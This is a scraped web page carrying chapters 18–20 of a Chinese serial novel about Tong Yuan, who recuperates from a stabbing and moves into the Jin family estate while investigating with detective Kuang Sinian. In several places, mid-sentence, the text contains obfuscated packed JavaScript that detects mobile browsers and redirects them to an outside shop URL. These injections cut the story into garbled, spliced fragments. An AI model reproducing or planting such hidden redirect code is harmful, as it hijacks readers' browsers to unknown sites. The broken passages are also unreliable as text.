最新一条消息还停留在数天前,童鸢主动发来的冯美宝的优秀员工奖杯,此后便一句话都没有互相发过。他对童鸢的任性还有气,本想问问她现在感觉怎么样了,有没有发烧或者过敏,伤口消肿了没。可再看她连个表情都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846335|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发过来,不由得按下退格键,将已经写好的话全部删掉。 彼此都该冷静一下。 童鸢并不是现在才知道自己是被收养的。他们一起生活的那些年,童鸢从未提过要寻找亲生父母的事,为什么突然对此耿耿于怀?真的只是出于自我保护吗? 他隐隐觉得,童鸢还有别的事情瞒着他。 正思索着,邝斯年已经关上了车门,在导航上输入目的地。本来要去的餐厅莫名变成了医院,邝斯年一拍额头,急忙删掉。 就在这时,家里来了电话。母亲姬佳瑶在电话那边哭哭啼啼:“你老爸快不行了。” 邝斯年心下一咯噔,这两老不是刚探亲回来吗,怎么突然就不行了? 想着距离晚市开张还有些时间,车头一转,人已经回了家。 不出所料,邝正雄好得很,还热烈招呼儿子到跟前来下棋。邝斯年知道这是自己过于沉迷工作的锅,无法生二老的气,认命地接过猪肘汤,主动伸长脖子待宰,手中的黑子自然被邝正雄的白子杀得七零八落。 棋局终了,邝正雄忽然问起童鸢:“小小最近还好吗?” 小小是童鸢的小名。刚到童家那会,童鸢茶饭不思,原本白白胖胖的娃娃迅速瘦成小小一只。桃乐丝听说,孩子的小名得往反了取,于是叫她“小小”,希望她以后长得大大的,最好还能胖一些,无论遇到任何困难都能有充足的脂肪和肌肉挺过去。 “嗯,还行吧,老样子。” 邝斯年有意隐瞒童鸢受伤的事。离开哈兰前,他给童鸢留过电话,而且一直没有变更。可她来裴岛一年多,一次都没有主动联系他。此外,对于和他们家一起住这件事,她也似乎很抗拒。 他该多问问她的意见的,不应擅作主张。 “哦,那就好,”邝正雄把棋子整理好,又开了一局,“你问问小小哪天有空,我们一起出去吃顿好的吧。” “我问问她。不过她最近都挺忙的。” 姬佳瑶解了围裙,也坐了过来:“之前不是说想接小小过来,咱们一家人一起住吗?怎么没了下文?” 邝斯年:“她现在住的地方离上班地点近,一时半会也不好搬。” “这样啊……”姬佳瑶明显有些失落。 邝正雄:“孩子大了,得有自己的空间,你总不能一直拴在裤腰带上吧。” 姬佳瑶:“话是这么说,可小小一个人孤零零的,也怪可怜。都怪我们,退休之前都太忙,不知不觉断了跟桃乐丝他们家的联系,不然也不至于让小小独自承担这一切。” 邝斯年执子的手不由一顿:“妈,你这话怎么听着怪怪的?” “哪里怪了?”姬佳瑶瞪着儿子,旋即怔愣半晌,问道,“你不知道吗?小小没跟你说?” 邝斯年:“说什么?” “桃乐丝和童伯成已经去世了。” 心跳漏了一拍,邝斯年收起白子,问:“什么时候的事?我只知道他们查出了糖尿病。” 姬佳瑶:“三年前吧,快四年了。前段时间,我陪你爸退休旅游,不是回了趟哈兰吗,就想着顺道去桃乐丝家拜访。可他们家已经是一片废墟,正挂牌出售。我们到房产中介一打听,原来,大概四年前的一天凌晨,他们家的烤箱出现故障,烧了起来。桃乐丝和童伯成因为熟睡,没有逃出来。只有偷溜到朋友家过夜的童鸢活了下来。” 邝正雄接着她的话说:“童伯成虽然留下了遗产,但小小当时还在上学,根本没有能力支付巨额的重建费,只能把房子和地皮卖了。虽然,后来查明了这只是意外,但毕竟死了人,他们家还是成了凶宅,再便宜的价格也无人问津……” 两人的话还没说完,只听闻一阵钥匙的脆响,邝斯年已经拉开了家门。 18. 茶匙 018 止痛药药效刚过,童鸢疼醒了。 她倒吸着凉气,撑起上半身,想喝水。 眼看着手就要够到床头柜上的保温杯,身后突然伸出一条修长手臂,径直越过她耳畔,握住杯身。 深夜,昏黄的灯光,私家医院的私人病房,童鸢光溜溜的脖子被搔上一股气息,暖暖的,带着些许寒意。 她猛地一打寒颤,惊叫出声,下一秒,又疼得嗷嗷叫。 正在门外休息的护工和值班护士听到声音,急忙跑进来,只看了一眼便又笑嘻嘻地跑了。 童鸢一手捂着腰,一手掀起枕头就往目标拍去:“你有病啊,邝斯年!” “明明是你自己胆小,”邝斯年抬手接住飞过来的枕头,将保温杯打开,递给童鸢,“喝吧。” “……谢了。”童鸢咕嘟嘟喝着,斜眼看向邝斯年所坐的床铺,“你什么时候来的?还有,这明明是护工阿姨的床,你怎么把人家的床抢了。” “你睡得熟,不想吵醒你……够吗?要不要给你再倒点?” “不用,够了。” 童鸢本想自力更生,可邝斯年的手还是伸了过来。 缠着薄茧的指尖轻轻触碰,如蜻蜓点水,带起温度的涟漪。童鸢微怔,将手缩回,藏进被里。 邝斯年将保温杯放好,又替她掖好被角,这才躺回又短又窄的行军床上。他伸长大喇喇的两条胳膊两条腿,若是多添上几条足,翻转过去,说是长腿蜘蛛都不为过。 也不嫌冷。 童鸢侧头看他还穿着短袖白T,问他:“你到底在这干什么?陪睡?也不带件长袖。” “这叫陪床。陪睡可不是这样的,小朋友。” “是是是,你说的都对,老登。” 明明才刚吵完一架,童鸢不懂他为什么突然三更半夜跑来。难道只是为了睡一觉?家里没床吗?可她全身细胞都在自我修复,没有多余的精力赶他出门,只好避开伤口,缓缓翻了个身,背对着他,眼不见为净。 没过多久,上下眼皮又开始打架。 就在她快要睡着时,邝斯年的声音突然从身后响起:“阿鸢。” 也许是夜深人静的缘故,也可能是半密闭空间作祟,这声“阿鸢”混合着低沉和沙哑,软绵绵钻入耳朵,竟带上了些许求饶和讨好的意味。 双眼迷迷糊糊地睁开一条缝,童鸢“嗯”了一声,微微翘起的尾音带着困惑。 邝斯年:“你有没有什么事情瞒着我?” 听着背后的窸窣声,童鸢垂眸,看向地上映着的半个人影,淡淡开口:“你是指什么事?” 邝斯年:“我离开哈兰之后的事。” 其实是有的,童鸢心想。 她可以很坦然地回忆自己曾遭遇过的“意外”,可关于那场大火,她一直不愿多说。桃乐丝和童伯成的死就像是一颗肿瘤,在她体内疯长,扩散,最终变成一口漩涡。 漩涡对她说:要是当初没有收养你,那该多好。 如果她搬去了邝家,这口漩涡会把他们也一起吞掉的吧。 不能被吸引,不要再往前。说白了,邝斯年不过是块刚好出现在面前的跳板而已。 她问邝斯年:“为什么突然问起这个?” “……好奇。你在哈兰的旧账号已经很久没有更新,裴岛的新账号也只有留学日常。不知不觉间,我们之间有了将近十年的空白。你来裴岛之前的生活,我一无所知。我想了解,可以吗?” 原来如此,还以为是知道了什么。 “可以啊,”童鸢随口糊弄过去,“我跟你讲讲高中门口新开的雪糕店吧。” “……” 童鸢背对着他,絮絮叨叨讲了很多,专捡些开心的鸡零狗碎讲。 她本该绷紧神经,不能泄了秘密,可她也实在是累了,竟自己将自己哄睡着,连止痛药都不需要,真神奇。 睡着前,她隐隐听到了邝斯年的叹息。 第二天一早,医生来查过房,确认伤口情况稳定,约好了回来换药和检查的时间,便叫童鸢去办出院手续。 邝斯年听了指示,拿着童鸢的保险卡就到楼下排队去了,留下她独自收拾。虽说是收拾,但能收的东西其实没多少。只需往旅行袋里一塞,便都搞定了。 百无聊赖间,她又慢吞吞躺回了床上。 手机叮咚作响,是司马荷生发来的信息:童童,很高兴收到你的回复,欢迎来我家。你的房间在二楼,到了之后,菲会带你上去,日用品在衣柜抽屉里。 对小粉丝还真是周到。 那声“阿鸢”果然是错觉。 童鸢醋自己,抬手发过去一个“好”,外加兴奋猫猫头,兢兢业业地继续做她的小粉丝。 “都收拾好了吗?有没有落了什么?” 童鸢双手一抖,手机掉落,啪叽一声砸中面门。 好痛……鼻子痛完,腰痛…… 童鸢痛成一颗小虾米,声音里满是哀怨:“你什么时候回来的?都办完了?” “都办完了,药也拿了,走吧。” 邝斯年伸来双手,要扶她起来。可她不过是皮肉伤,用不着像个瓷娃娃一般呵护着,便抬手挡了回去。她慢慢翻了个身,用手肘撑起身体,照样行动自如。 今日的气温比昨天的又冷了些。到了停车楼,被穿堂而过的冷风一吹,童鸢下意识摸了摸凉飕飕的脖子,突然想起前一天发生的事,问邝斯年:“我的围巾呢?” “围巾?你来的时候有戴围巾吗?” “不,是走的时候。司马荷生送我的,驼色的,羊毛的,很暖的。” “啊,你说那个……” “你有看到吗?是不是落现场了?” “那个……扔了……” “扔了?怎么能扔了?” “你当时出血厉害,身边又没有可以止血的工具,情况紧急,我们只好用上那条围巾。救护车来了之后,那围巾自然也就扔了。” “啊……” 童鸢低下头,心里泛起一阵失落。那是好不容易得到的礼物,本来还打算裱起来的,没想到一眨眼的功夫便已天各一方。 “我想,无论在司马荷生眼里,还是在我眼里,你的命都比围巾重要得多。”邝斯年将她塞进副驾里,也不关门,径直走向车尾箱。 车尾箱里有两个旅行袋。一个天蓝色的,是童鸢的。一个藏青色的,是邝斯年常年留在车上的,里面装着换洗衣物。当遇上加班或者出警弄脏了的情况,也能有套备用。 他往包底掏了半天,终于拔出一条红色围巾。那是手工织的。姬佳瑶说过,红色能辟邪,要他一直放在车里。 难以想象,堂堂法官大人居然也信这种鬼话,以至于邝斯年不由得也跟着变得半信半疑:真能辟邪? 他走到童鸢跟前,见她还在低头懊恼,便把围巾扬起,套在她脖子上。 邝斯年:“先用这个将就一下,可以吗?” 围巾上还残留着冬日的凌冽,以及常年压箱底的略显潮湿的味道。不及司马荷生的好闻,却带着邝家爱用的淡淡的洗衣液的清香。 童鸢略一怔愣,抬头间,仿佛回到了多年以前,和邝斯年一起出门玩雪的下午。 见她默不作声,邝斯年叹了口气:“果然还是不行吗?” 本想拒绝的童鸢下意识改了口:“……也、也凑合吧。” 这算是收下了。 邝斯年笑了。他摸了摸她头顶,替她关好车门。 上了车,本该和谐融洽的氛围又出了状况。邝斯年想把童鸢直接往自己家里送,但对方显然是不会同意的。 童鸢也觉得尴尬:他想载我去哪? 樱桃公寓?还是他家?如若她直接出声要求去山海湾,会不会又要闹得不愉快?要不要迂回一下……天杀的,还不如自己打车。 正犹豫着,忽见邝斯年按下了启动键,中控显示屏亮起。他打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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邝斯年急忙又说:“这不是监视,我只是想,如果这件事你非做不可,起码我希望在你遇到危险的时候,至少我能马上知道……” “挺好看的。” “……嗯?” “我说,挺好看的。” 童鸢取出手表,表带在黑色缎面包裹的棉花枕上发出轻微一声闷响。咔哒,金属卡扣扣在手腕上。精致的表带,尺寸刚好,很快便沾染上皮肤上的温度,被柔软的袖口覆盖。 童鸢:“姑且……先用来看看时间。” 表情紧张的邝斯年终于松了口气。 童鸢欣赏着手表,又说:“这样一来,我就算是和你成为搭档了吧?” 邝斯年又冻住了:“……什么搭档?” 童鸢十分讲义气地拍拍他的肩膀:“调查金家的搭档!从今以后,我们里应外合,必能将金家翻个底朝天,抓住那些在幕后搞小动作的坏人。” 邝斯年的脸冻得七彩斑斓。过了许久,他才无奈一笑:“真是拿你没办法。” 他搔了搔本就凌乱的短发,忽然解开安全带,向童鸢张开了双臂。 那是个拥抱的信号,从他们认识的那天起就约定俗成的信号。 童鸢看着这个信号,起了一身鸡皮疙瘩:“搭档而已,不必多礼。你这样是要做什么?肉麻死了。” “你住进金宅之后,我就不能去你家吃番茄酱了吧。” “你可以自己去买的呀。” 邝斯年耸耸肩,不置可否,只晃了晃手臂,大有不达目的不罢休的气势。 “……幼稚,”嘴上说着抱怨,童鸢还是靠了过去,将下巴晾在他肩膀上,晾了三秒,不耐烦了,“行了吧?” “不行。” 童鸢忽觉后背一热,对方的两条手臂已经虚虚地抱住了她。 “哥……” 童鸢有些不知所措,双手呆愣愣地僵在半空。可邝斯年显然不甚满意,迟迟没有松开的迹象。 “邝斯年?” “……” “……年……糕?” 原本虚虚搭着的手臂突然用了力。 “小小,”邝斯年的气息在她耳边回荡,“这些年来,对不起。以后不会再让你自己一个人了。” 她眨眨眼,原本僵在半空的双手动了动,抓皱了邝斯年的衣服。 19. 茶匙 019 有遛狗的跑友路过,边牧趴上汽车窗户往里头嗅了嗅,之后才随主人的脚步离开。 童鸢明知车窗上贴了单向透视膜,外面看不见里头的光景,却还是浑身毛毛的,心里不自在。 她轻轻推了推邝斯年:“我该进去了……” “……嗯,”邝斯年松开手,“要帮你再回家拿点东西吗?旅行袋里的衣服够吗?” 不提则已,一提起这个,童鸢就觉得尴尬。 “先这样吧,不够的话我再回家拿。” “行,你到时候联系我。” “好的,哥,不,老大,有任何情况,线人都将随时向你报告!” 童鸢学着陈莉和安小贝的语气,同时举手朝邝斯年敬了个不太标准的礼。 这个动作带着调皮的意味,看似亲昵,却明晃晃地把邝斯年往同事身份上推。可他们分明不是同事,而是家人。 邝斯年感觉自己刚才的话全白说了,可他有口难言,整张脸顿时像吃了腌制千年的地狱辣椒干,皱成一团。 童鸢嘿嘿一笑,人已经滑溜溜地下了车。 金家可以是一家,也可以是很多家。 十多分钟前,他们从山海湾大牌坊进去,顺着沿海公路一路驶向东北,左手边是达摩山。别墅群傍山而立,街道顺势而建,雾霭升腾,如墨白棋玉落于经纬间,互不干扰,暗中纠缠。 车子绕至东北坡,便可见一青岚湖。湖的北侧有一高地,高地酷似一佛头,探入湖中。每逢清晨,湖面雾气弥漫,再镀上一层晨曦,便成了口口相传的悟道佛光。达摩山名的精髓便在于此。 裴岛人爱看风水,称此处大有青龙白虎相护之势,加之背有靠山,前有聚宝盆,长居此地者必为天降紫薇,至少可保三代富贵无虞。 童鸢不懂风水,只觉这话将佛道术数混说一通,若非集天地之大成,那便是诈天下之大骗,善哉,恶哉。 金家那大大小小的别墅就落在这块佛头高地上。传闻,为了拿到这块地,金家没少使劲。 进入了高地,便进入了金家的范围。 路旁用漆黑的雕花铁栏杆围成三米高的围墙,七里香和三角梅缠绕着攀援生长。此时正是三角梅盛开的季节,繁花如瀑般泄下。邝斯年的车才在花墙下停了几分钟,便落了满身的红。 大门打开,一位自称是菲的中年女性走向他们:“车还是开进去的好。” 这话不假。金少立共有五位兄长,六对夫妻分出去,一对一个家,再加金少立的母亲,一位将近九十岁的老佛爷,光是别墅就有七套。中间再围出几个大花园、游泳池和阳光房,等两脚走到司马荷生和金少立那一座,至少都要十分钟。 邝斯年将车停在别墅廊下,把旅行袋交给童鸢。 菲主动接过:“邝先生,要进来喝口茶吗?或者咖啡?” 邝斯年看了童鸢一眼,说:“不了,我还得回去上班,多谢。” 菲:“哦,那我们也不好再留你了。不过,夫人交代过,大家都是朋友。随时欢迎朋友过来吃饭。” “好的,一定常来。”邝斯年又看了童鸢一眼,没再逗留。 菲带童鸢到了位于二楼的客卧套房。客卧就在主卧对面,中间有一露天阳台,热带植物紧紧包围着位于中间的阳光房。阳光房内放着工作台,满满当当地都是书、画具和裁缝用品,那大概是司马荷生平常工作的地方。 客卧很大,衣帽间和浴室都配套齐全。衣柜里除了有毛巾、卫生巾等日用品,还密密麻麻地挤满了衣裙鞋袜和包。 菲说:“我们家很少有留宿的客人,客房不知不觉就成了夫人用来放样衣的地方,从XS到XXXXL,常服到礼服,各式各样的都有。夫人说过,这些客人都能穿,只是可能在找尺码和风格的时候得废些功夫,希望童小姐不要介意。” 童鸢牢记自己小粉丝的身份,立马亮出一双星星眼:“当然不介意。” 她随手拿了一件,正好便是最大众的M码。 “不过,小姐你长得好看,身材又苗条,自然是不必怎么挑的。”常年在深宅里工作,菲一张嘴便是蜜糖,说,“除了主卧,你在这里的行动是自由的。另外,一楼的后门出去,有连廊通向中心会所。会所用来招待客人,也是各位主家聚餐、开家庭会议的地方。你要是闷了,也可以去里头逛逛。但其他别墅……如果没有允许,小姐还是不要靠近为好。” 童鸢怎么可能不靠近呢,但和菲多说无益,只配合地点头:“明白。” 菲:“这期间,你的餐食也会由我来打点。如果有什么想吃的,可以提前告诉我,当然,假如不需要用餐,也请提前告知。我需要介绍的就这些,小姐有没有什么想要了解的?” 童鸢摇摇头。 “那我先下去了。我的房间就在一楼厨房后。你的床边装了内线电话,输入00即可随时找到我。”菲颔首,下楼离开了,像极了训练有素的机器人。 童鸢随手将旅行袋丢进衣柜里,坐到床边,思考着要怎么摸进其他六座别墅。 她来之前吃过早餐,吞了药。此时药效发作,她想着想着,竟靠在枕头上睡着了。 再醒来时,外头一片黑沉,日光被浓重的乌云掩盖。阳台前的白纱勾勒出风的形状,有人坐在她床头,看书。 童鸢大脑昏沉,撑起身去看。 对方扭头看她:“你怎么来了?” 是金诺贤。 童鸢先是一惊,下意识反问:“你怎么在这?” 等这话问出口,她才觉得奇怪。金诺贤是五嫂的儿子,在金家别墅里不是很正常?可这里怎么说也是司马荷生的家,即使是住在同一个院里的侄子,也能来去自如,不请自来吗? 金诺贤:“我向来喜欢六婶的阳光房,经常来看书。” 童鸢:“阳光房吗?那请出门左拐。” 金诺贤语带笑意:“该出门左拐的是你吧,童童,你不该来这里的。” “司马夫人邀请我来的,这可轮不到你来说教哦,金少爷。” 童鸢像往常开玩笑那样,顶嘴回击。 她抬脚下床,想下楼去喝口水,不料被金诺贤抓住了手腕。他略微用力一扯,没将童鸢扯回床上,倒是将她腰上的伤口扯得生疼,疼出了一额头的冷汗。她急忙伸手捂住伤口。 “你身体不舒服?” 金诺贤想要上手看个究竟,却被童鸢挡了回去:“没事。别碰我。” 这次不是开玩笑。 他的手愣在了原地:“我以为我们是……朋友。” “是朋友的话,就告诉我书艺的死是怎么回事。”童鸢脱口而出。 她其实想问很久。可事发至今,她一直没有机会找金诺贤说话,邝斯年那边显然也没问出什么,以至于她一逮住机会就想问个究竟。 金诺贤松开了童鸢:“她……她确实是自己跳下去的。而且,该交代的我都已经向邝探员交代过了。” “那不该交代的呢?” 金诺贤瞳孔微张,随后眯起双眼,说:“……你既然已经预设了答案,就不该再来问我。” “放心,我自己会去求证。”童鸢轻飘飘说完,人已经越过金诺贤,走向房门。 “你别乱来!” 金诺贤再次抓住她。这一次,他使了蛮劲,直接将她掀翻在床上。他居高临下,俯视着童鸢。 两人姿势暧昧,童鸢的伤口很痛。她神色凛然,眼神淡漠。金诺贤对于她来说,不过是某位尚未被求证的表弟。她没有挣扎,只掀起毛衣的下摆,露出腰上一圈绷带。 她说:“昨天凌晨被砍的。侦查局外,就在你和五嫂刚离开不久。” 童鸢点到为止,边说边观察着金诺贤的表情。 金诺贤的双眼直勾勾地盯着伤口,像是被敲碎灵魂的娃娃,徒留一副玻璃珠子。 童鸢:“当时,司马夫人就在我身边。她可怜我,于是把我接过来养伤。这样解释,你满意了吗?” 金诺贤没再说话。 童鸢轻抬手臂,微凉的指尖勾住他瘦削的下巴。她声音低沉,带着潮湿日子里特有的黏糊质感,说:“我交代完了,你的呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878052|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>金诺贤紧抿着双唇,张了张嘴。 “哎哟……” 是司马荷生的声音。两人扭头看去,司马荷生不知道什么时候回来了,略带错愕地站在房门,说:“阿贤,对待客人怎么能这么无礼呢?” 终究没有问出来。童鸢十分自然地从他下巴处挪开手,泫然若泣:“你为什么要推我?” “……”金诺贤确实是推了,无言以对,只能咬牙起身,说了声,“对不起,脚滑。” “哦,可能是地板打蜡过头了。”司马荷生说,“饭点了,下来吃饭吧。阿贤,你晚饭是在六婶这里吃,还是回家?” “我……” 金诺贤还没说答应不答应,电梯门响,菲走了过来:“夫人,老太太让大家今晚都过去吃饭。” 司马荷生:“今晚?今天是什么日子?” 菲:“今天是周五。” “哎呀,忙忘了。我去跟老太太说,今晚就不过去了,家里来客人。” “老太太说,客人也一起。反正人不多,不过是添双筷子而已。” 司马荷生有些为难地看向童鸢:“童童,不好意思啊。老太太是我婆婆,阿贤的奶奶,确实喜欢叫上客人一起吃饭,你如果不喜欢应酬,留在这也行。” 童鸢还没想好怎么跟金家人一一打照面,这位金家老佛爷反倒主动找上门了。 童鸢:“谢谢老太太,我会去的。” 司马荷生没再说什么,只吩咐菲将已经做好的饭菜一起拿过去,别浪费了,便带着童鸢往通向会所的连廊走去。金诺贤没有回家,拿起方才在读的书,便走到童鸢身旁。 他也不跟童鸢说话,只有一搭没一搭地和司马荷生聊着天。 连廊在锦鲤池上曲折蜿蜒,一路通向位于正中心的中式会所。餐厅内,自动餐桌上已经摆满了菜肴,一白发老人坐在主位上,正低头喝汤。 这白发老人便是金家老佛爷严少敏。严少敏浑身皱皱巴巴,皮肤泛黄,长满了老人斑,这在八十多岁的老人身上非常常见。 她坐在轮椅上,佝偻着腰,见有人进来,也只轻抬长如福禄寿的白发眉毛,招呼一声:“吃吧。” 童鸢看着空荡荡的转盘圆桌,好奇,其他人都还没到,这位老佛爷怎么就自顾自地吃了起来。再看墙上时钟,不过也才傍晚五点半。 司马荷生和金诺贤像是已经习惯了这样的节奏,什么都没说,只拉开椅子,坐了进去。 司马荷生在他们那一辈中排行最小,靠着门坐,童鸢也就随之落座,金诺贤则十分自然地坐到严少敏身旁。 严少敏只顾低头喝汤,对于近旁的孙子瞧都不瞧。 汤还没喝完,她便又指挥身旁的佣人给她布菜。也许是她的手伸不直,抬不起,半晌过去,童鸢都只看见她颤巍巍地夹自己碗里的,筷子从未伸向远方。 难道有钱人都是不会自己夹菜的? 童鸢扭头看了眼司马荷生和金诺贤。恰好这时,司马荷生勺了一勺鲜菇炒牛肉,全堆进童鸢碗里,说:“听斯年说,你喜欢吃这个。” “斯、斯年?” 怎么突然变得这么亲近? 司马荷生凑到她耳边:“总不能在家里一直叫人家邝探员吧。” 好像是这个道理。一旦知道这是司马荷生特意下单让菲给她炒的,鲜菇炒牛肉就不只是单纯的鲜菇炒牛肉,而是洒满了蜜糖的甜点。 严少敏吃得多,也吃得快,没过多久便打了饱嗝。突然,身后的木门被推开。童鸢只觉一阵劲风刮过,刚到嘴边的鲜菇还未滑进嘴里,便听闻一阵刺耳的女声在她耳后炸响。 “老太太,你快给我评评理!培立他怎么可以把这么贵重的东西送给别人?” 童鸢闻声看去,那是位中年妇女,看上去比司马荷生要年长不少。 她手里拿着一块白金腕表,童鸢认得,这正是一块在十三年前就已拍出百万刀的名贵腕表。 金培立在那女人身后走了进来:“闹什么闹?一块表而已,小家子气。” 司马荷生双耳微动,没有回头。 20. 茶匙 020 “什么叫一块表而已?这可是当年我爸托亲戚千里迢迢拍回来的,给我的生日礼物。听到了吗?给我的!生日礼物!” 说话的女人名叫何玥,是金老三金培立的夫人。 按理说,童鸢应该叫她一声“三伯母”。 在市场上,关于何玥的信息并不多,只知道她出生中产之家,在叹世界成立之前就已经嫁入金家。结婚之后,何玥就过起了相夫教子的生活。她极少出席活动,就连上个月那么隆重的年会,她都没有参加。 童鸢看着她手上的那块表,不禁想起了那位传闻中的何姓富商。 虽说何是个大姓,但天底下真有这么巧合的事?还是说,何玥口中的亲戚正是这位何姓富商? “哎呀,说什么你的,我的,你的不就是我的吗?” 金培立显然是不耐烦了。他一边坐到老太太的身侧,一边喝起佣人递过来的汤。 他头也不抬,只拂了拂手,说:“上百年的表了,老古董一枚,给我戴出去都显老气,也就你这么宝贝。你知道现在的人都戴什么吗?智能手表,懂不懂,智能手表。” “你有种!”何玥冷哼一声,“既然这么看不起这块表,你为什么有事没事就都给我戴出去?既要贬损我的东西,又要拿出去充场面,什么好处都给你占了呗。” 金培立汤没喝完,拾起碗筷就夹了块煎鱼骨,边啃边说:“所以说你头发长见识短啊。我这是带这块表去社交,去交换。不然你哪来现在这种游手好闲的生活?你也不想想,我交换回来的价值都足够你买好几块这样的旧表了。” “我游手好闲?”何玥刚一坐下,又拍案而起,“什么叫游手好闲?双胞胎从小到大的学习、生活,哪方面不是我来打理的?就连你一条袜子都是我买的。” “是你打理的,还是保姆打理的?” “你!” “够了……”一直忙于吃饭的老太太终于停了嘴,她打了个饱嗝,双眼依旧盯着转到跟前的菜,慢慢悠悠地说,“没见到有客人吗?” 何玥和金培立同时停了手,朝童鸢的方向看了过来。 自从他们进来,童鸢就没敢再动。只是她手停了,口停了,耳朵和眼睛却没有停。 司马荷生说:“三哥、三嫂,介绍一下,这是我的朋友,童鸢。因为一些原因,接下来会在我家住一段时间。阿鸢,这是我先生的三哥和三嫂,要是不介意的话,可以跟着我叫。” “不介意,”童鸢朝他们摆出一个完美的礼貌微笑,“三哥三嫂好,可以叫我阿鸢。” 啪嗒。 名贵手表掉落在桌布上,发出一声闷响。 金培立看着童鸢的脸,显然也有一瞬间的愣神。 “怎么也叫……”何玥低声喃喃,被金培立从桌下轻轻踢了一脚,这才连忙捡起桌上的手表,笑道,“你好啊,阿鸢。” 严少敏的眼皮抬了抬:“吃饭吧。” 接下来的饭局异常沉默。童鸢知道自己来对了。 那一刀真是来得及时。若不是托了那一刀的福,以她贫瘠有限的情报网,费老大的劲也不一定能见到那块表。她装作回信息的样子,悄悄将饭桌另一头的手表拍下,发给了邝斯年。接下来,继续心安理得地吃饭。 她忍不住偷偷看了司马荷生几眼,心中生出一阵疑惑。 她不明白何玥和金培立方才的反应是什么意思。按理说,金少立曾有过一个女儿这种事,他们作为哥嫂应该是知道的。如果是她的名字和外貌让他们感到错愕,那为什么司马荷生却能平静如斯。 现在想来,受伤的时候她应该有看到自己的胎记,可为什么…… “再多吃点。” 司马荷生又给她夹了几块肉,原本已经快要吃空的小碗又满了起来。 算了,先不想这个。等到时机成熟,也许一切便都能明了了。 那一晚,童鸢睡得并不好。 也许是认床,也许是晚饭吃得太饱,汤喝得太多,她半夜醒来了好几次。其中有一次,她起夜上了个厕所,回到床上后便觉得哪哪都不对劲。 窗前白纱飘飘,似有人影在远处看着她。 她害怕,却不敢开灯,怕惊醒了那道鬼魂,只拽紧了手机,缓缓爬下了床,做贼般迂回到窗边,悄悄掀开纱帘的一角。 窗外,是青岚湖和达摩山,还有其他几栋别墅的阳台一角。 西南侧的阳台上有星点火光,像是有人在点烟。烟的旁边有东西在反光,两道圆光刚好落在童鸢房间的方向。 烟起又烟灭,两人穿着白色的睡袍,没过多久,一前一后,转身回了屋里。 童鸢彻底睡不着了。 她躺在被窝里辗转反侧,最后抬起手腕,将手表上的小白灯按亮。下一秒,手机传来提示音,是邝斯年:嗯? 童鸢感到一瞬间的窝心,又有一瞬间的后悔,最后回了两个字:好玩。 邝斯年:…… 童鸢:照片有用吗? 邝斯年:已经发给陈莉,相信很快会有结果。 童鸢:那就好,等你哦,老大~ 对面停顿了有十分来钟,最后憋出五个字:保护好自己。 结果果然来得很快,陈莉顺着何玥和手表这条线,摸出了樱桃公寓和叹世界集团的间接关系。 “何炎彬,樱桃公寓开发商,花火地产的董事长兼总经理,”陈莉将材料发送到邝斯年和各个组员的设备上,说,“花火地产不是什么大公司,一直做的都是些独栋小楼盘,只有樱桃公寓是例外。” 刘毅:“所以,这又是亲戚间的买卖咯。” 陈莉:“严格来说,何炎彬和何玥并不算是亲戚,只是刚好同村同姓罢了。我找到了一位之前在拍卖行工作过的行家,确认了段书艺照片中的那块手表是由何炎彬的父亲拍得的。那个年代,房地产行业如火如荼。何父偷渡都裴岛后,正好赶上了这波浪潮,楼盘缺人,何父便干起了水泥工。” “何父有些文化,会看图纸,在当年的工地里属于稀缺员工,顺理成章地步步高升。后来,他找到了机会,和人出来单干,接下来便一发不可收拾。这块名表就是在他事业最挣钱的时候拍下来的。至于高峰之后的事情,我想你们应该都有印象。金融危机,房地产泡沫破裂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900148|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,加上合同漏洞,何父为了还债散尽家财,又回到了原点。到头来只剩一个儿子何炎彬和那块表。” “何炎彬也不信邪。父亲从哪里跌倒,他就要从哪里爬起,初中毕业后也做起了房地产生意。可这时候的房地产经历过大洗牌,已经被主要三家垄断,不仅拿地干不过人家,流动资金也总是紧巴巴,只能捡些边角料做些小楼盘。就在这时候,何玥跟着金培立来到了裴岛,经由同村乡里这条线,两家人这才搭上。那块表就是见面礼。” 邝斯年:“可为什么何玥说这是她爸托人给她拍的生日礼物?” 陈莉:“听何家之前的钟点工说,何玥一直不爱搭理叹世界的生意,更不喜欢做中间人,觉得这都是些敷衍人的世故。她爸不想为难女儿,又不能不给同乡面子,便编出了这么个由头,这才让何金两家碰上面。” 